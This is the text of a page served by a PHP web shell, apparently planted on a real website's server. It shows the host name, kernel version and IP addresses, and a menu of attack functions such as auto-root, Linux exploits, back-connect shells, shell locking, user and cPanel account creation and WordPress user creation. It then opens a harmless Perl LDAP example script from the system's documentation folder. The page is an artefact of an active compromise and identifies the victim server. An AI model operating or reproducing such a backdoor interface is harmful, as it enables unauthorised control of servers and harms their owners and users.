Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-LDAP /
contrib /
[ HOME SHELL ]
Name
Size
Permission
Action
LWPsearch.pl
2.67
KB
-rw-r--r--
README
1.2
KB
-rw-r--r--
dot.tklkup
1.75
KB
-rw-r--r--
isMember.pl
9.45
KB
-rw-r--r--
jpegDisplay.pl
7.01
KB
-rw-r--r--
jpegLoad.pl
7.1
KB
-rw-r--r--
ldapmodify.pl
1.43
KB
-rw-r--r--
ldifdiff.pl
10.49
KB
-rw-r--r--
ldifsort.pl
3.18
KB
-rw-r--r--
ldifuniq.pl
1.59
KB
-rw-r--r--
printMembers.pl
6.46
KB
-rw-r--r--
recursive-ldap-delete.pl
1022
B
-rw-r--r--
schema2ad.pl
9.47
KB
-rw-r--r--
simple-proxy.pl
2.82
KB
-rw-r--r--
tklkup
169.14
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : recursive-ldap-delete.pl
#!/usr/bin/perl -w # # recursive-ldap-delete.pl # # originally by Mike Jackson <mj@sci.fi> # shortened by Peter Marschall <peter@adpm.de> # based on ideas by Norbert Kiesel <nkiesel@tbdetworks.com> # # ToDo: check errors, handle references, .... use strict; use Net::LDAP; my $server = "localhost"; my $binddn = "cn=directory manager"; my $bindpasswd = "foobar"; my $delbranch = "ou=users,dc=bigcorp,dc=com"; # branch to remove my $ldap = Net::LDAP->new( $server ) or die "$@"; $ldap->bind( $binddn, password => $bindpasswd, version => 3 ); my $search = $ldap->search( base => $delbranch, filter => "(objectclass=*)" ); # delete the entries found in a sorted way: # those with more "," (= more elements) in their DN, which are deeper in the DIT, first # trick for the sorting: tr/,// returns number of , (see perlfaq4 for details) foreach my $e (sort { $b->dn =~ tr/,// <=> $a->dn =~ tr/,// } $search->entries()) { $ldap->delete($e); } $ldap->unbind();
Close
